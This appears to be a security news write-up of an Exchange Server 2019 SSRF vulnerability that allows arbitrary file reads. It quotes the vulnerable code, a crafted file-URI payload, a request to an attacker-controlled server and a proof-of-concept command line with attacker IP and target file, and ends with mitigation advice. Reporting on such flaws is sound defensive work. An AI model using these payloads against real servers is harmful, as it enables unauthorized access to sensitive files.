A significant vulnerability in Microsoft Exchange Server, designated as CVE-2026-45504, has recently come to light, revealing a critical server-side request forgery (SSRF) flaw with a CVSS score of 8.8. This vulnerability allows authenticated low-privileged users to access and read arbitrary files from affected Exchange servers. The discovery was made by Batuhan Er, a security researcher affiliated with HawkTrace, and it specifically impacts Microsoft Exchange Server 2019.
Understanding the Microsoft Exchange SSRF Vulnerability
The issue stems from inadequate validation of externally supplied URLs during the integration of the Web Application Open Platform Interface (WOPI). More specifically, the flaw resides in the OneDriveProUtilities component, which plays a crucial role in how Exchange processes URLs for generating Web Application Companion (WAC) tokens. The heart of the problem lies in the unsafe handling of user-controlled input that is passed to HTTP request functions, which opens the door for potential exploitation.
The code segment within the TryTwice method exemplifies this susceptibility. By directly using input that is influenced by an attacker in outbound HTTP requests, the vulnerability becomes evident:
private static WebResponse TryTwice(ICallContext callContext, string url, ICredentials credentials, WebHeaderCollection headers) {
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(url);
httpWebRequest.Method = "GET";
httpWebRequest.Credentials = credentials;
...
IAsyncResult asyncResult = httpWebRequest.BeginGetResponse(null, null);
asyncResult.AsyncWaitHandle.WaitOne();
return httpWebRequest.EndGetResponse(asyncResult);
}Because the url parameter is not sanitized, malicious actors can submit arbitrary endpoints, leading to SSRF behavior. This vulnerability is exploited through a chain of functions involving GetTokenRequestWebResponse and GetWacUrl, where Microsoft Exchange unwittingly constructs requests to SharePoint-like endpoints. During this process, it parses XML responses that contain sensitive fields—including WebApplicationUrl and AccessToken.
A critical aspect of the exploitation is rooted in the trust Microsoft Exchange places in the WebApplicationUrl returned from a remote server. An attacker can host a malicious endpoint that serves a crafted file-based URI, such as:
file:///C:/Windows/win.ini#Here, the inclusion of the “#” fragment proves to be a pivotal element. When Microsoft Exchange appends OAuth parameters to the URL, the URI parser ignores everything that follows the fragment, thereby preserving the initial file path. Consequently, this oversight enables Microsoft Exchange to send a FileWebRequest to read local system files, delivering their contents back to the attacker.
The Attack Chain
The attack begins with a low-privileged user crafting a malicious reference attachment via Exchange Web Services (EWS) pointing to an attacker-controlled ProviderEndpointUrl. Upon accessing or previewing this attachment, Microsoft Exchange initiates a backend request to the attacker’s server:
/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(fileUrl=@p,requestedAction=0)?@p='http://attacker-server/'In response, the attacker provides the malicious file URI, triggering the file read operation. This technique permits unauthorized access to sensitive information, including configuration files and system data, which can have profound implications for organizational security.
For those interested in practical demonstrations, a public proof-of-concept (PoC) showcasing how to exploit this vulnerability using authenticated credentials has been released. The PoC script is structured as follows:
python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local/ --target-file "C:/Windows/System32/drivers/etc/hosts"The root cause of this vulnerability is the absence of scheme validation on the WebApplicationUrl field, which allows non-HTTP schemes like file:// to be processed indiscriminately. Thus far, Microsoft has not implemented stringent validation procedures before these URLs reach file-handling functions, resulting in the potential for arbitrary file access.
Recommendations for Mitigation
In light of these revelations, security experts strongly advocate for implementing strict URL scheme validation to prevent protocols such as file:// from being processed. Additionally, it is prudent to monitor unusual EWS attachment activities and watch for outbound SSRF patterns. Organizations that rely on on-premises Exchange deployments should prioritize applying patches as soon as they become available and restrict access to Exchange services to minimize potential exposure.
The ramifications of this vulnerability underscore the need for vigilance in safeguarding sensitive data and reinforce the importance of immediate action to mitigate risks associated with newly discovered exploits.